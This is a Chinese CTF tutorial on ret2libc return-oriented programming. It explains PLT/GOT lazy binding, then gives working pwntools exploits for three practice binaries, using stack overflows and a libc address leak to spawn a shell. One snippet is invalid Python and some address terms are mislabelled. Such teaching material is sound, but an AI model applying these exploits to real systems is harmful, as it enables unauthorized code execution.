ROP学习II

前言

上一节通过一个简单的ret2syscall题目认识了ROP。本节将通过三道ret2libc题目继续学习ROP。

学习ret2libc题目之前需要对pltgot有一定的了解。

GOT全称Global Offset Table,即全局偏移量表。它在可执行文件中是一个单独的section,位于.data section的前面。每个被目标模块引用的全局符号(函数或者变量)都对应于GOT中一个8字节的条目。编译器还为GOT中每个条目生成一个重定位记录。在加载时,动态链接器会重定位GOT中的每个条目,使得它包含正确的目标地址。

PLT全称Procedure Linkage Table,即过程链接表。它在可执行文件中也是一个单独的section,位于.textsection的前面。每个被可执行程序调用的库函数都有它自己的PLT条目。每个条目实际上都是一小段可执行的代码。

通过下图说明。当第一次调用func函数时。会跳转到该函数对应的PLT处。该函数对应的PLT第一条指令执行它对应的.GOT.PLT里的指令。第一次调用时,该函数的.GOT.PLT里保存的是它对应的PLT里第二条指令的地址;继续执行PLT第二条、第三条指令,其中第三条指令作用是跳转到公共的PLT(.PLT[0])。 公共的PLT(.PLT[0])执行.GOT.PLT[2]指向的代码,也就是执行动态链接器的代码;动态链接器里的_dl_runtime_resolve_avx函数修改被调函数对应的.GOT.PLT里保存的地址,使之指向链接后的动态链接库里该函数的实际地址;再次调用该函数对应的PLT第一条指令,跳转到它对应的.GOT.PLT里的指令(此时已经是该函数在动态链接库中的真正地址),从而实现该函数的调用。

1

ret2libc1

本题需要通过gets函数溢出,利用程序中的system函数和/bin/sh字符串获取权限。

通过strings判断程序中是否存在system函数和/bin/sh字符串。

1
2
3
4
5
root@iZf8zhvvgpaxwofuk3ccedZ:~/pwn/rop# strings ret2libc1 | grep system
system
system@@GLIBC_2.0
root@iZf8zhvvgpaxwofuk3ccedZ:~/pwn/rop# strings ret2libc1 | grep /bin/sh
/bin/sh

检查保护,发现开启了NX防护,这意味着我们不能在堆栈中执行shellcode。

1
2
3
4
5
6
[*] '/root/pwn/rop/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

程序反汇编如下

2

这里我们的具体方法是,通过gets函数传参数溢出。使得main函数能够return到system函数的地址,并将/bin/sh字符串地址传入到system函数中。

那么如何获取system函数和/bin/sh字符串在程序中的地址呢?

我们可以通过程序获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
>>> from pwn import *
>>> elf = ELF("./ret2libc1")
[*] '/root/pwn/rop/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
>>> elf.plt["system"]
134513760
>>> hex(134513760)
'0x8048460'
>>> next(elf.search(b"/bin/sh"))
134514464
>>> hex(134514464)
'0x8048720'

接着我们通过gdb动态调试计算需要溢出的数据大小。通过stack命令查看eax到ebp的距离。

3

需要溢出的数据大小为0xffffd5b8 - 0xffffd54c再加上四字节ebp一共112字节。

ROP链构造如下

6

之后我们可以构造exp

1
2
3
4
5
6
7
from pwn import *
sh = process("./ret2libc1")
binsh_addr = 0x8048720
system_plt = 0x8048460
payload = b'A'*112 + p32(system_plt) + b'B'*4 + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()

执行程序获取shell

1
2
3
4
5
6
root@iZf8zhvvgpaxwofuk3ccedZ:~/pwn/rop# python3 exp_ret2libc1.py
[+] Starting local process './ret2libc1': pid 16491
[*] Switching to interactive mode
RET2LIBC >_<
$ pwd
/root/pwn/rop

ret2libc2

本题和ret2libc1的区别是,程序中没有/bin/sh,需要我们自己将/bin/sh字符串写入到程序中进行控制。

通过反汇编查看我们应该将/bin/sh写入到bss段的buf2中。

4

所以我们的思路是首先ROP到gets函数,在gets函数中将/bin/sh读取并放入buf2。之后继续ROP到system@plt即可。

ROP链构造如下

5

exp构造如下

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
io = process("./ret2libc2")
elf = ELF("./ret2libc2")
buf2 = elf.symbols["buf2"]
gets_plt = elf.plt["gets"]
system_plt = elf.plt["system"]
io.recv()
payload = 112*b'A' + p32(gets_plt) + p32(system_plt) + p32(buf2) + p32(buf2)
io.sendline(payload)
io.sendline(b"/bin/sh\x00")
io.interactive()

ret2libc3

本题程序中没有system函数也没有/bin/sh字符串,但是提供了so文件。对于/bin/sh字符串我们可以用前面的方法写入,但system函数是无法写入的。

然而在linux延迟绑定机制中,当程序调用库函数时,会将libc.so文件中的函数地址写到程序的got表中,调用时会跳转到got表所写的地址。那么我们如果要调用system函数,就要知道他的got表中的地址,got表中的地址指的就是当系统将libc(动态链接库)加载到内存中时,库中的函数的地址。但libc被加载到的内存的位置是随机的,我们无从得知。
但是,同一版本的libc的两个库函数在libc中的相对位置是不变的,所以如果我们可以知道一个已经执行过的函数的got表地址,然后确定libc的版本,就可以加上和system函数的偏移,从而得到system函数的真实地址,即got表地址。
这里我们拥有一个puts函数,我们可以用puts函数,将一个已经执行过的函数的got表地址打印出来,然后再根据地址获取libc版本,确定偏移,得到真实地址。

8

首先strings看一下程序中的/bin/sh字符串,没有找到/bin/sh字符串,可以用sh代替,效果是一样的。

1
2
3
4
5
6
root@iZf8zhvvgpaxwofuk3ccedZ:~/pwn/rop/ret2libc3# strings ret2libc3 | grep /bin/sh
root@iZf8zhvvgpaxwofuk3ccedZ:~/pwn/rop/ret2libc3# strings ret2libc3 | grep sh
fflush
.shstrtab
.gnu.hash
fflush@@GLIBC_2.0

因此ROP链构造如下

7

溢出数据大小通过反编译查看,得到大小为56+4=60字节

9

接着我们需要知道system函数在程序中的真实地址

1
2
3
4
from pwn import *
elf = ELF("./ret2libc3")
libc = ELF("libc-2.23.so")
system@plt address = libc.symbols["system"] - libc.symbols["puts"] + puts_plt

最终exp构造如下构造如下

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
io = process("./ret2libc3")
elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #通过ldd找到程序在本机的libc地址
io.sendlineafter(b" :",str(elf.got["puts"])) #传入的是字符串
io.recvuntil(b" : ")
puts_plt = int(io.recvuntil(b"\n",drop = True),16) #得到puts函数的真实地址
success("puts_plt -> {:#x}".format(puts_plt))
payload = flat(cyclic(60),puts_plt+libc.symbols["system"]-libc.symbols["puts"],0xdeadbeef,next(elf.search(b"sh\x00")))
io.sendlineafter(b" :",payload)
io.interactive()

参考

https://www.bilibili.com/video/BV1854y1y7Ro

https://www.freebuf.com/articles/web/283330.html

https://luomuxiaoxiao.com/?p=578